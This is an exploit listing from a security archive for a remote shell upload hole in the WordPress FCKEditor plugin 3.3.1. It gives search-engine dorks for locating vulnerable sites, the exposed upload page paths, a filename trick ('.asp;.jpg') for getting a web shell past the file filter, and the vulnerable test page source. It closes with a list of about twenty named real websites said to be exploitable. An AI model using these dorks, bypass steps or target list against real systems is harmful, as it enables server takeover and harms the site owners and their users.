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WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Shell Upload

🗓️ 20 Dec 2018 00:00:00Reported by KingSkrupellosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 565 Views

WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Shell Upload vulnerability details and exploitation metho

Code
`#################################################################################################  
  
# Exploit Title : WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote  
Shell Upload Vulnerability  
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security  
Army  
# Date : 20/12/2018  
# Vendor Homepage :  
wordpress.org/support/plugin/fckeditor-for-wordpress-plugin  
# Software Download Link : github.com/kcloze/kcloze-blog/archive/master.zip  
+  
github.com/kcloze/kcloze-blog/tree/master/wp-content/plugins/fckeditor-for-wordpress-plugin  
# Tested On : Windows and Linux  
# Category : WebApps  
# Version Information : 2.0 ~ 2.2 ~ 2.6.2 ~ 2.8.4 ~ 3.3.1  
# Exploit Risk : Medium  
# Google Dorks :  
inurl:''/wp-content/plugins/fckeditor-for-wordpress-plugin/''  
+ intext:''DESIGN BY PURR.''  
+ intext:''powered by WordPress. InBiz theme made it free by desain web.  
Hosting by rozhled.cz''  
+ intext:''Site entraA(r)nA(c) par WordPress | Connexion | Flux (RSS) des  
articles | ThA"me Arthemia de Michael Jubel | Stats''  
+ intext:''designed by Portland Web Design''  
+ intext:''A(c) 2009 websitemagix.com powered by fotomagix''  
+ intext:''powered by fotomagix''  
+ intext:''realizace webu: Pavel Gloss''  
+ intext:''A(c) 2008 - 2018 Heather Richards Live | All Rights Reserved.''  
+ intext:''Powered by WordPress ( WordPress Deutschland ) - Handcoded by  
Tommaso Baldovino -  
German translation and modification by Schwarze Dame''  
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access  
Controls ]  
+ CWE-434: Unrestricted Upload of File with Dangerous Type  
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~  
ayarsecurity.com [ Friend ]  
  
#################################################################################################  
  
# Exploit :  
  
/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/test.html  
  
/wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/frmupload.html  
  
/wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/browser.html  
  
# Directory File Path :  
  
/wp-content/uploads/.....  
  
/wp-content/uploads/[YEAR]/[MONTH]/......  
  
#################################################################################################  
  
# Note : Select PHP extension and then Try to upload as .asp;.jpg filename  
shell extension.  
  
# Note : This plugin fckeditor-for-wordpress-plugin contains a very serious  
vulnerability that allowed hackers to gain full control a  
  
modify, upload and execute files on any website running WordPress. With the  
plugin installed on a certain website,  
  
a hacker or malicious person can gain access to the web server via HTTP  
through a backdoor in the pluginas directory.  
  
#################################################################################################  
  
Vulnerable File Code => /uploadtest.html  
  
*************************************  
  
<!--  
* FCKeditor - The text editor for Internet - http://www.fckeditor.net  
* Copyright (C) 2003-2007 Frederico Caldeira Knabben  
*  
* == BEGIN LICENSE ==  
*  
* Licensed under the terms of any of the following licenses at your  
* choice:  
*  
* - GNU General Public License Version 2 or later (the "GPL")  
* http://www.gnu.org/licenses/gpl.html  
*  
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")  
* http://www.gnu.org/licenses/lgpl.html  
*  
* - Mozilla Public License Version 1.1 or later (the "MPL")  
* http://www.mozilla.org/MPL/MPL-1.1.html  
*  
* == END LICENSE ==  
*  
* Test page for the "File Uploaders".  
-->  
<html>  
<head>  
<title>FCKeditor - Uploaders Tests</title>  
<script type="text/javascript">  
  
function SendFile()  
{  
var sUploaderUrl = cmbUploaderUrl.value ;  
  
if ( sUploaderUrl.length == 0 )  
sUploaderUrl = txtCustomUrl.value ;  
  
if ( sUploaderUrl.length == 0 )  
{  
alert( 'Please provide your custom URL or select a default one' ) ;  
return ;  
}  
  
eURL.innerHTML = sUploaderUrl ;  
txtUrl.value = '' ;  
  
frmUpload.action = sUploaderUrl;  
if (document.getElementById('cmbType').value) {  
frmUpload.action = frmUpload.action +  
'?Type='+document.getElementById('cmbType').value;  
}  
frmUpload.submit() ;  
}  
  
function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )  
{  
switch ( errorNumber )  
{  
case 0 : // No errors  
txtUrl.value = fileUrl ;  
alert( 'File uploaded with no errors' ) ;  
break ;  
case 1 : // Custom error  
alert( customMsg ) ;  
break ;  
case 10 : // Custom warning  
txtUrl.value = fileUrl ;  
alert( customMsg ) ;  
break ;  
case 201 :  
txtUrl.value = fileUrl ;  
alert( 'A file with the same name is already available. The uploaded file  
has been renamed to "' + fileName + '"' ) ;  
break ;  
case 202 :  
alert( 'Invalid file' ) ;  
break ;  
case 203 :  
alert( "Security error. You probably don't have enough permissions to  
upload. Please check your server." ) ;  
break ;  
default :  
alert( 'Error on file upload. Error number: ' + errorNumber ) ;  
break ;  
}  
}  
  
</script>  
</head>  
<body>  
<table cellSpacing="0" cellPadding="0" width="100%" border="0"  
height="100%">  
<tr>  
<td>  
<table cellSpacing="0" cellPadding="0" width="100%" border="0">  
<tr>  
<td nowrap>  
Select the "File Uploader" to use:<br>  
<select id="cmbUploaderUrl">  
<option selected value="asp/upload.asp">ASP</option>  
<option value="aspx/upload.aspx">ASP.Net</option>  
<option value="cfm/upload.cfm">ColdFusion</option>  
<option value="lasso/upload.lasso">Lasso</option>  
<option value="perl/upload.cgi">Perl</option>  
<option value="php/upload.php">PHP</option>  
<option value="py/upload.py">Python</option>  
<option value="">(Custom)</option>  
</select>  
</td>  
<td>  
Resource Type<br />  
<select id="cmbType" name="cmbType">  
<option value="">None</option>  
<option value="File">File</option>  
<option value="Image">Image</option>  
<option value="Flash">Flash</option>  
<option value="Media">Media</option>  
<option value="Invalid">Invalid Type (for testing)</option>  
</select>  
</td>  
<td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>  
<td width="100%">  
Custom Uploader URL:<BR>  
<input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc"  
disabled type="text">  
</td>  
</tr>  
</table>  
<br>  
<table cellSpacing="0" cellPadding="0" width="100%" border="0">  
<tr>  
<td noWrap>  
<form id="frmUpload" target="UploadWindow" enctype="multipart/form-data"  
action="" method="post">  
Upload a new file:<br>  
<input type="file" name="NewFile"><br>  
<input type="button" value="Send it to the Server" onclick="SendFile();">  
</form>  
</td>  
<td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>  
<td vAlign="top" width="100%">  
Uploaded File URL:<br>  
<INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">  
</td>  
</tr>  
</table>  
<br>  
Post URL: <span id="eURL">&nbsp;</span>  
</td>  
</tr>  
<tr>  
<td height="100%">  
<iframe name="UploadWindow" width="100%" height="100%"  
src="javascript:void(0)"></iframe>  
</td>  
</tr>  
</table>  
</body>  
</html>  
  
#################################################################################################  
  
# Example Vulnerable Sites =>  
  
[+]  
steamykitchen.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
n-vac.co.jp/tool/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
senftenberg.cz/wordpress/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
ville-rochefortdugard.fr/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
jalak.eu/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
carolwhitemarketing.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
etkingrup.com.tr/haber/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
zohnertheater.ch/amberroad/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
gialongvn.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
websitemagix.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
taiyaki-ya.com/wp/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
locthanhphat.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
zko157.cz/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
duolongo.se/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
sof.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
heatherrichardslive.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
textmah.com/sites/zane/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
nongngucolam.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
drogy-sos.sk/photoland/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
kukk.de/affiliateblog/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
[+]  
nttprov.go.id/penghubung/web/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html  
  
#################################################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
#################################################################################################  
`

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